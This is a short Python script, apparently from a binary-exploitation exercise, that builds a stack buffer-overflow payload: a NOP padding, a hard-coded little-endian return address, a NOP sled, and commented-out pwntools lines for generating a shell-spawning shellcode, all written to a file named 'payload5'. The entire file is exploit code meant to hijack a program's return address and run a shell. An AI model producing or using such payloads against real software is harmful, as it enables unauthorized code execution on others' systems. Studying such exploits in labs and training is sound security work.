exploit5.py

#!/usr/bin/env python

from struct import *
from pwn import *

# context.arch = "amd64"
# context.os = "linux"
# shellcode = asm(shellcraft.sh())

addr = struct.pack("<Q", 0x7fffffffecab)
buf = b''
buf += b'\x90'*22
buf += addr
buf += b'\x90'*200
# buf += shellcode

file = open("payload5", "wb")
file.write(buf)